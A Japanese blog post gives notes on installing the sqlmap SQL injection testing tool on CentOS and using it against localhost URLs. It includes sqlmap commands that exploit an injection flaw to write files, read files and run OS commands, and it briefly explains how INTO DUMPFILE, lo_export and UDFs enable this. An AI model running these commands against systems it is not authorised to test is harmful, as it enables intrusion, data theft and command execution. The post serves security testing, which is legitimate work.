オープンソースこねこね

Webプログラミングなどについてあれこれ。

sqlmapをCentOSにインストールする

sqlmapはオープンソースSQLインジェクションの脆弱性をテストするツールです。 以前テストに使用したので、インストール方法などのメモを残しておきます。

インストール on CentOS

sqlmapはPythonによる実装なのでまずPythonを入れます。

$ sudo yum install python
$ python -V

あとはGithubからsqlmapを取得するだけ

$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap

使い方

以下のように調査したいURLを指定してsqlmap.pyを実行するだけです。

$ python sqlmap.py -u "http://localhost/post?id=a" -a 

クエリストリングの値の部分(上の例だとid=aのaの部分)をsqlmapが自動でいろいろなSQLインジェクションを調査するためのパターンに置き換えて、HTTPリクエストをバンバン実行してくれます。

URLにパラメータが埋め込まれているタイプのURLであるhttp://localhost/post/idのような場合は、アスタリスクをつけるとそこをパラメータとみなして置き換えてくれます。

$ python sqlmap.py -u "http://localhost/post/a*" -a

POSTメソッドを使いたい場合は以下のように--dataオプションでパラメータを指定するとPOSTでリクエストする

$ python sqlmap.py -u "http://localhost/post" -a --data "id=1"

脆弱性をついてファイルを作ることもできる。

$ python sqlmap.py -u "http://localhost/post?id=a" -a --file-write="/var/tmp/foo.txt" --file-dest="/var/tmp/foo.txt"

ファイルを読む。

$ python sqlmap.py -u "http://localhost/post?id=1" -a --file-read="/var/tmp/foo.txt"

コマンド実行する。

$ python sqlmap.py -u "http://localhost/post?id=a" -a --os-cmd="touch /var/tmp/foo.txt"

ヘルプの表示

$ python sqlmap.py -h

詳細なヘルプの表示

$ python sqlmap.py -hh

sqlmapはSQLインジェクションを検出すると、その脆弱性を通してDBアクセスユーザのパスワードを辞書ベースで解析します。 テスト用に脆弱性のあるsqlinjection.phpを作ったので、安全な環境でうごかして見ると、DB内部がまるっと見えてしまったりして、なかなかョッキングな体験を味わえます。

その他

以下は、SQLインジェクションでファイルの作成やコマンドを実行できてしまうメカニズムの説明資料。

要点

  • DBにはselect文の結果をファイルに出力する機能があって(INTO DUMPFILEやlo_exportというコマンド)それを利用して、ファイルを任意の場所に生成できる。
  • DBにはUDF(user-defined function)というSQL内で使える組み込み関数をユーザで拡張できる仕組みがあり、上記のファイル生成の仕組みを使って「外部コマンドを実行するSQL関数」作って、コマンドを実行する。